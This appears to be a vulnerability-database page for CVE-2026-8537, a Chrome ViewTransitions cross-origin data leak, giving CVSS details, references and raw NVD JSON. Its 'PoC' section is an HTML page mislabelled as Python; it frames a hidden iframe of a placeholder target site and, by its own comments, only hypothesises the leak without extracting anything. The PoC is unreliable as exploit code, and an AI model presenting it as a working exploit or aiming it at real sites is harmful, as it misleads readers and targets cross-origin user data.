CVE-2026-8537

Description

Insufficient policy enforcement in ViewTransitions in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8537: Cross-origin data leak via ViewTransitions
This script demonstrates how a crafted HTML page might trigger the vulnerability.
Note: Actual exploitation depends on specific chromium implementation details.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8537 PoC</title>
    <style>
        /* Style to force view transition */
        ::view-transition-old(root),
        ::view-transition-new(root) {
            animation-duration: 0s;
        }
    </style>
</head>
<body>
    <h1>CVE-2026-8537 ViewTransitions Leak PoC</h1>
    <button id="trigger">Click to Leak Data</button>
    <iframe id="target" src="https://target-site.com/sensitive-data" style="display:none"></iframe>

    <script>
        document.getElementById('trigger').onclick = async function() {
            // Check for View Transition API support
            if (!document.startViewTransition) {
                console.log('View Transitions API not supported');
                return;
            }

            // Start a view transition
            const transition = document.startViewTransition(() => {
                // Modify DOM to trigger the snapshot capture
                document.body.style.backgroundColor = 'lightgray';
                return Promise.resolve();
            });

            // Wait for the transition to be ready (DOM snapshot captured)
            await transition.ready;
            await transition.finished;

            // Hypothetical leak: Attempt to read cross-origin data from the transition snapshot
            // In the vulnerable version, the snapshot might include cross-origin iframe pixels
            console.log('Transition finished. Attempting to extract leaked data...');
            
            // In a real exploit, the attacker would analyze the canvas or buffer
            // to extract data from the cross-origin iframe rendered during transition.
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8537
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8537
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8537/
[4] VulDB https://vuldb.com/cve/CVE-2026-8537
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/495890000

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8537", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:14.560", "lastModified": "2026-05-15T15:16:54.817", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in ViewTransitions in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495890000", "source": "[email protected]"}]}}